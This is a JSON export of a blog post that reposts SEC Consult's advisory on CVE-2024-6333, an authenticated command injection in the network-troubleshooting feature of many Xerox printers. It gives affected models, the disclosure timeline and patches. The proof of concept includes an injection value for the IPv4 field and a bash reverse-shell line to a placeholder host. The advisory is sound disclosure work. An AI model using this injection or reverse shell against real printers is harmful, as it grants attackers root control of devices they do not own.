{"id":59973,"date":"2024-10-29T18:40:59","date_gmt":"2024-10-29T15:40:59","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/182371\/SA-20241023-0.txt"},"modified":"2024-10-29T18:40:59","modified_gmt":"2024-10-29T15:40:59","slug":"xerox-printers-authenticated-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/xerox-printers-authenticated-remote-code-execution\/","title":{"rendered":"Xerox Printers Authenticated Remote Code Execution"},"content":{"rendered":"<p>SEC Consult Vulnerability Lab Security Advisory &lt; 20241023-0 &gt;<br \/>=======================================================================<br \/>title: Authenticated Remote Code Execution<br \/>product: Multiple Xerox printers<br \/>(EC80xx, AltaLink, VersaLink, WorkCentre)<br \/>vulnerable version: see vulnerable versions below<br \/>fixed version: see solution section below<br \/>CVE number: CVE-2024-6333<br \/>impact: high<br \/>homepage: https:\/\/xerox.com<br \/>found: 2023-12-14<br \/>by: Timo Longin (Office Vienna)<br \/>Tamas Jos (Office Zurich)<br \/>SEC Consult Vulnerability Lab<\/p>\n<p>An integrated part of SEC Consult, an Eviden business<br \/>Europe | Asia<\/p>\n<p>https:\/\/www.sec-consult.com<\/p>\n<p>=======================================================================<\/p>\n<p>Vendor description:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>&#8220;We are a global leader in office and production print technology and related<br \/>solutions, with a large and growing presence in Digital and IT Services.<br \/>Having redefined the workplace experience for more than 100 years, our<br \/>differentiated business and technology offerings are empowering client success<br \/>today by addressing the productivity challenges of a hybrid workplace and<br \/>distributed workforce.&#8221;<\/p>\n<p>Source: https:\/\/investors.xerox.com\/<\/p>\n<p>Business recommendation:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>SEC Consult recommends Xerox customers to install the latest updates and review<br \/>the vendor&#8217;s security note for further information.<\/p>\n<p>Also make sure to have patches from previous security notes installed, such as<br \/>XRX23-020. SEC Consult has re-identified some critical 0-days (unauthenticated RCE,<br \/>partial authentication bypass) that were already patched but not clearly<br \/>communicated in the previous security notes.<\/p>\n<p>SEC Consult highly recommends to perform a thorough security review of the product<br \/>conducted by security professionals to identify and resolve potential further<br \/>security issues.<\/p>\n<p>Vulnerability overview\/description:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>1) Authenticated Remote Code Execution (RCE) (CVE-2024-6333)<br \/>An attacker authenticated as a user with administrative access to the<br \/>web interface of a range of affected Xerox printers can exploit a remote code<br \/>execution vulnerability (RCE) as root user. It allows an attacker to execute<br \/>commands directly on the operating system of the printer with root permissions.<br \/>Consequently, the target Xerox printer can be fully compromised.<\/p>\n<p>Proof of concept:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>1) Authenticated Remote Code Execution (RCE) (CVE-2024-6333)<br \/>The &#8220;Network Troubleshooting&#8221; menu enables administrators to configure and run<br \/>network troubleshooting based on the tcpdump tool. The web interface allows to<br \/>apply custom filters like an IPv4 address as well as specific network services,<br \/>as seen in the image (figure 1) below.<\/p>\n<p>&lt;img Network_Troubleshooting.png&gt;<\/p>\n<p>Due to insufficient input validation in the IPv4 address value, an attacker<br \/>may inject further OS commands into the final tcpdump command string. For<br \/>example, by setting the IPv4 address to the value &#8220;0.0.0.0$(bash $TMP~cmd)&#8221;,<br \/>commands stored under &#8220;\/tmp\/~cmd&#8221; get executed, when starting a network<br \/>troubleshooting session.<\/p>\n<p>Note: The payload in the IPv4 address must bypass a character filter,<br \/>and was kept simple for demonstration purposes. Other payloads that directly<br \/>execute commands without requiring the &#8220;\/tmp\/~cmd&#8221; file exist and can be<br \/>crafted.<\/p>\n<p>An attacker who, for example, has previously exploited the unauthenticated<br \/>RCE vulnerability (fixed with Xerox Security Bulletin XRX23-020) can plant<br \/>the following commands for a reverse shell in to &#8220;\/tmp\/~cmd&#8221;.<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<\/p>\n<p>bash -i &gt;\/dev\/tcp\/X.X.X.X\/10004 0&gt;&amp;1 2&gt;&amp;1<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<\/p>\n<p>Since, the network troubleshooting service is running tcpdump with root<br \/>permissions, full access to a range of Xerox printers can be obtained this way.<br \/>See figure 2 below.<\/p>\n<p>&lt;img reverse_shell.png&gt;<\/p>\n<p>Vulnerable versions:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>The following products &amp; versions have been tested initially, which were not<br \/>patched to the latest version according to vendor. Hence our other identified<br \/>critical security issues were removed from this advisory.<br \/>* Xerox Workcentre 7970 (073.200.167.09610)<br \/>* Xerox Workcentre 7855 (073.040.167.09610)<\/p>\n<p>According to the vendor, the following products are affected:<\/p>\n<p>* AltaLink\u00ae B8045 \/ B8055 \/ B8065 \/ B8075 \/ B8090 (&lt;103.xxx.024.18600 866140v3)<br \/>* AltaLink\u00ae C8030 \/ C8035 \/ C8045 \/ C8055 \/ C8070 (&lt;103.xxx.024.18600 866140v3)<br \/>* Xerox\u00ae EC8036 \/ EC8056 (&lt;103.xxx.024.18600 872818v3)<br \/>* Xerox\u00ae EC8036 \/ EC8056 &#8211; Common Criteria (June 2022) (&lt;103.023.031.35105 878257v3)<br \/>* Xerox\u00ae EC8036 \/ EC8056 &#8211; Common Criteria (June 2024) (&lt;103.xxx.013.14115 869823v3)<br \/>* AltaLink\u00aeC8130 \/ C8135 \/ C8145 \/ C8155 \/ C8170 &#8211; Common Criteria (Aug 2024) (&lt;119.xxx.023.13006 869829v3)<br \/>* AltaLink\u00ae B8145 \/ B8155 \/ B8170 &#8211; Common Criteria (Aug 2024) (&lt;119.xxx.023.13006 869829v3)<br \/>* AltaLink\u00ae C8130 \/ C8135 \/ C8145 \/ C8155 \/ C8170 &#8211; Common Criteria Certified (Aug 2023) (&lt;111.xxx.003.11600 869827v3)<br \/>* AltaLink\u00ae B8145 \/ B8155 \/ B8170 &#8211; Common Criteria Certified (Aug 2023) (&lt;111.xxx.003.11600 869827v3)<br \/>* VersaLink\u00ae B625 \/ C625 &#8211; Common Criteria Certified (2024) (&lt;119.xxx.003.11705 869818v3)<br \/>* VersaLink\u00ae B415 \/ C415 &#8211; Common Criteria Certified (2024) (&lt;119.xxx.003.11705 869818v3)<br \/>* WorkCentre 3655\/3655i (&lt;075.060.004.07810 via Upgrade Tool)<br \/>* WorkCentre 5945\/55i (&lt;075.091.004.07810 via Upgrade Tool)<br \/>* WorkCentre 6655\/6655i (&lt;075.110.004.07810 via Upgrade Tool)<br \/>* WorkCentre 7220\/7225i (&lt;075.030.004.07810 via Upgrade Tool)<br \/>* WorkCentre 7830\/7835i (&lt;075.010 004.07810 via Upgrade Tool)<br \/>* WorkCentre 7845\/7855i (&lt;075.040.004.07810 via Upgrade Tool)<br \/>* WorkCentre 7845\/7855 (IBG) (&lt;075.080.004.07810 via Upgrade Tool)<br \/>* WorkCentre 7970\/7970i (&lt;075.200.004.07810 via Upgrade Tool)<br \/>* WorkCentre EC7836 (&lt;075.050.004.07810 via Upgrade Tool)<br \/>* WorkCentre EC7856 (&lt;075.020.004.07810 via Upgrade Tool)<\/p>\n<p>Vendor contact timeline:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>2024-02-05: Contacting vendor through the Xerox Security Response Center (XSRC)<br \/>https:\/\/forms.business.xerox.com\/en-us\/xerox-security-response-center\/<br \/>2024-02-06: Xerox assigns case id XSRC-2024-0003<br \/>2024-02-08: Xerox provides links for the current firmware versions to confirm<br \/>whether the issues can be reproduced.<br \/>2024-02-27: Xerox asks for status update.<br \/>2024-02-28: The authenticated RCE was confirmed to be exploitable in the current<br \/>firmware version (075.040.013.29000 and 075.200.013.29000).<br \/>Vulnerability one and two are fixed in the most recent versions.<br \/>2024-03-19: Xerox requests more information on provided PoCs.<br \/>2024-04-02: SEC Consult provides the requested information.<br \/>2024-04-18: SEC Consult asks for updates on the vulnerability status.<br \/>2024-05-06: Xerox provides an update\/patch for the affected WorkCentre7890 and 7855<br \/>series.<br \/>2024-05-16: SEC Consult asks about a CVE number for the authenticated RCE<br \/>vulnerability. Also SEC Consult inquires about for further plans on<br \/>confirming the affected models and versions that are potentially<br \/>affected by the partial authentication bypass and pre-authenticated RCE<br \/>vulnerabilities.<br \/>2024-05-21: Xerox states that they are evaluating other models. Also, they request<br \/>a CVSS score and vector for the authenticated RCE. Furthermore, more<br \/>details on the public disclosure timeline are requested.<br \/>2024-05-23: SEC Consult provides the requested information.<br \/>2024-06-03: Status update from Xerox regarding CVE-ID request. Furthermore,<br \/>more information on the to be released advisory is requested.<br \/>2024-06-06: Status update from Xerox regarding CVE-ID request.<br \/>2024-06-10: Xerox again requests a CVSS score and vector for the authenticated RCE.<br \/>2024-06-14: SEC Consult again provides the CVSS score and vector. Also, information<br \/>on the to be released advisory is provided.<br \/>2024-06-25: Xerox provides CVE-2024-6333 for the authenticated RCE vulnerability.<br \/>2024-06-28: Informing Xerox about longer vacation period \/ absence.<br \/>Asking again about further affected models.<br \/>2024-07-01: Xerox: Further models are affected, will be shared in the final publication.<br \/>2024-07-16: Xerox asks for our publication draft.<br \/>2024-07-31: Xerox asks again for our publication draft.<br \/>2024-07-31: SEC Consult reminds Xerox about vacation, references our draft advisory<br \/>already sent a few months ago. Asking whether the other models are<br \/>affected by the authenticated RCE only, or by the other identified<br \/>vulnerabilities as well.<br \/>2024-08-28: Xerox provides high-level summary of the case, but no details on affected<br \/>models.<br \/>2024-10-03: SEC Consult provides an updated advisory with minor changes to Xerox,<br \/>again asking whether other versions and models are affected by the<br \/>described vulnerabilities.<br \/>2024-10-07: Xerox provides further information on the partial authentication bypass<br \/>and pre-authenticated RCE vulnerabilities, showing that these have been<br \/>addressed in previous patches. Also, further coordination regarding<br \/>Xerox&#8217; Security Bulletin Release.<br \/>2024-10-16: Release of Xerox Security Bulletin XRX24-015, covering the authenticated<br \/>RCE vulnerability.<br \/>2024-10-21: Sending latest advisory draft to Xerox, setting release date to 23rd October.<br \/>Asking Xerox whether the security bulletin XRX23-020 <br \/>(https:\/\/securitydocs.business.xerox.com\/wp-content\/uploads\/2023\/11\/XRX23-020_Security-Bulletin-for-AltaLink-VersaLink-and-WorkCentre-1.pdf) is the correct one for the other issues and why there is no <br \/>mention<br \/>regarding our pre-auth RCE there.<br \/>Xerox responds with the link to the latest XRX24-015 bulletin and that<br \/>our advisory is fine.<br \/>2024-10-23: Coordinated release of advisory.<\/p>\n<p>Solution:<br \/>&#8212;&#8212;&#8212;<br \/>Xerox provided patches for the affected printers. More information can be found<br \/>in Xerox&#8217; Security Bulletin XRX24-015:<\/p>\n<p>https:\/\/securitydocs.business.xerox.com\/wp-content\/uploads\/2024\/10\/Xerox-Security-Bulletin-XRX24-015-for-Altalink-Versalink-and-WorkCentre-%E2%80%93-CVE-2024-6333-.pdf<\/p>\n<p>Workaround:<br \/>&#8212;&#8212;&#8212;&#8211;<br \/>None<\/p>\n<p>Advisory URL:<br \/>&#8212;&#8212;&#8212;&#8212;-<br \/>https:\/\/sec-consult.com\/vulnerability-lab\/<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>SEC Consult Vulnerability Lab<br \/>An integrated part of SEC Consult, an Eviden business<br \/>Europe | Asia<\/p>\n<p>About SEC Consult Vulnerability Lab<br \/>The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an<br \/>Eviden business. It ensures the continued knowledge gain of SEC Consult in the<br \/>field of network and application security to stay ahead of the attacker. The<br \/>SEC Consult Vulnerability Lab supports high-quality penetration testing and<br \/>the evaluation of new offensive and defensive technologies for our customers.<br \/>Hence our customers obtain the most current information about vulnerabilities<br \/>and valid recommendation about the risk profile of new technologies.<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br \/>Interested to work with the experts of SEC Consult?<br \/>Send us your application https:\/\/sec-consult.com\/career\/<\/p>\n<p>Interested in improving your cyber security with the experts of SEC Consult?<br \/>Contact our local offices https:\/\/sec-consult.com\/contact\/<br \/>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Mail: security-research at sec-consult dot com<br \/>Web: https:\/\/www.sec-consult.com<br \/>Blog: https:\/\/blog.sec-consult.com<br \/>Twitter: https:\/\/twitter.com\/sec_consult<\/p>\n<p>EOF Timo Longin, Tamas Jos \/ @2024<\/p>\n","protected":false},"excerpt":{"rendered":"<p>SEC Consult Vulnerability Lab Security Advisory &lt; 20241023-0 &gt;=======================================================================title: Authenticated Remote Code Executionproduct: Multiple Xerox printers(EC80xx, AltaLink, VersaLink, WorkCentre)vulnerable version: see vulnerable versions belowfixed version: see solution section belowCVE number: CVE-2024-6333impact: highhomepage: https:\/\/xerox.comfound: 2023-12-14by: Timo Longin (Office Vienna)Tamas Jos (Office Zurich)SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Eviden businessEurope | Asia &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59973","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59973","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59973"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59973\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59973"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59973"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59973"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}